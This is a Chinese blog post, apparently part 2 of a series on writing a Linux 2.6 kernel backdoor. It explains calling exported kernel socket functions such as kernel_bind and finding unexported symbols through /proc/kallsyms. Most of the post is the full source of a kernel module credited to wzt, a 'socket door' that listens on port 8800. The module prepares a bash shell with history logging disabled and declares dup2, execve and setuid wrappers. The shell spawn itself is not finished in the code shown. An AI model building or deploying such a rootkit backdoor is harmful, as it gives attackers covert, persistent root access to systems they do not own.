书写 2.6 内核后门程序 -2 (调用内核程序)

   在内核态通过int 0x80调用系统内核函数,虽然方便但是效率比较低。可以尝试直接调用内核函数,在wzt的原文中直接调用 sys_bind,sys_socket  等函数的实现,

比如 sys_bind 函数

SYSCALL_DEFINE3(bind, int, fd, struct sockaddr __user *, umyaddr, int, addrlen)
{
        struct socket *sock;
        struct sockaddr_storage address;
        int err, fput_needed;

        sock = sockfd_lookup_light(fd, &err, &fput_needed);
        if (sock) {
                err = move_addr_to_kernel(umyaddr, addrlen, (struct sockaddr *)&address);
                if (err >= 0) {
                        err = security_socket_bind(sock,
                                                   (struct sockaddr *)&address,
                                                   addrlen);
                        if (!err)
                                err = sock->ops->bind(sock,
                                                      (struct sockaddr *)
                                                      &address, addrlen);
                }
                fput_light(sock->file, fput_needed);
        }
        return err;
}

那么就调用 

security_socket_bind   sock->ops->bind

但是在内核中 调用 security_socket_bind 编译是会遇到warning:

WARNING: "security_socket_bind" [/home/sina/Debug/network/network-shell1/net.ko] undefined!
并且在加载内核时会提示:


在内核模块中有 MODULE_LICENSE 语句。

察看内核发现没有对内核符号 security_socket_bind  调用 EXPORT_SYMBOL,在 /proc/kallsyms 发现也有这个符号:

|

对于这种情况何以使用函数指针,查找/proc/kallsyms 文件来找到相应的函数。这个在

http://blog.csdn.net/gudujianjsk/article/details/7948423

所附录代码中已经实现。


分析内核源码有EXPORT_SYMBOL的 内核符号:kernel_bind.

int kernel_bind(struct socket *sock, struct sockaddr *addr, int addrlen)
{
        return sock->ops->bind(sock, addr, addrlen);
}
EXPORT_SYMBOL(kernel_bind);


源码如下:

/*
* kenel mode socket door v0.1
*
* by wzt http://www.xsec.org
*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/types.h>
#include <linux/errno.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

#include "syscalls.h"

#define port    8800
#define LEN     256

#define SGID            0x489196ab
#define HOME            "/"

static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };

char *env[]={
    "TERM=linux",
    "HOME=" HOME,
    "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
    ":/usr/local/sbin",
    "HISTFILE=/dev/null",
     NULL };

static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall3(int, execve, const char *, filename,const char **, argv, const char **, envp);

struct socket *sock_alloc(void);

int sys_setuid(uid_t  uid);
asmlinkage ssize_t  sys_read(unsigned int fd, char __user * buf, size_t count); 

int k_listen(void)
{
        struct socket *sock,*newsock;
        struct sockaddr_in server;
    	struct sockaddr client[128];
   	char address[128];
    	int sockfd, sockid, i,size = 0;
        int error = 0,len = sizeof(struct sockaddr);
        
        
        error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
        if (error < 0) {
                printk("[-] socket_create failed: %d\n",error);
                sock_release(sock);
                return -1;
        }
    
    	sockfd = sock_map_fd(sock,0);
    	if (sockfd < 0) {
       		printk("[-] sock_map_fd() failed.\n");
        	sock_release(sock);
        	return -1;
    	}        

    	for (i = 0; i < 8; i++)
       		server.sin_zero[i] = 0;

    	server.sin_family = PF_INET;
    	server.sin_addr.s_addr = INADDR_ANY;
    	server.sin_port = htons(port);
	
	error = kernel_bind(sock, (struct sockaddr *)&server,len);
	if(error < 0)
	{
		printk("error bind!\n");
		sock_release(sock);
		return 0;
	}

	error = kernel_listen(sock, 5);
    	if (error < 0) {
        	printk("[-] unix_listen failed.\n");
        	sock_release(sock);
        	return -1;
    	}
    	printk("[+] listen port %d ok.\n",port);

	kernel_accept(sock,&newsock,sock->file->f_flags);
        
      	sockid = sock_map_fd(newsock,0);
       	if (sockid < 0) {
        	printk("[-] sock_map_fd() failed.\n");
            	sock_release(newsock);
        	return -1;
       	}
	//sys_read(sockid,&ch,1);		
    		

        return 1;
    
    	out_release:
    	sock_release(sock);
    	sock_release(newsock);

    	return 0;
}

int k_socket_init(void)
{
        printk("[+] kernel socket test start.\n");
        
        k_listen();
}

void k_socket_exit(void)
{
        printk("[+] kernel socket test over.\n");
}

module_init(k_socket_init);
module_exit(k_socket_exit);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("wzt");


sys_read   sys_write等函数可以通过查找 /proc/kallsyms 来找到地址。










  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值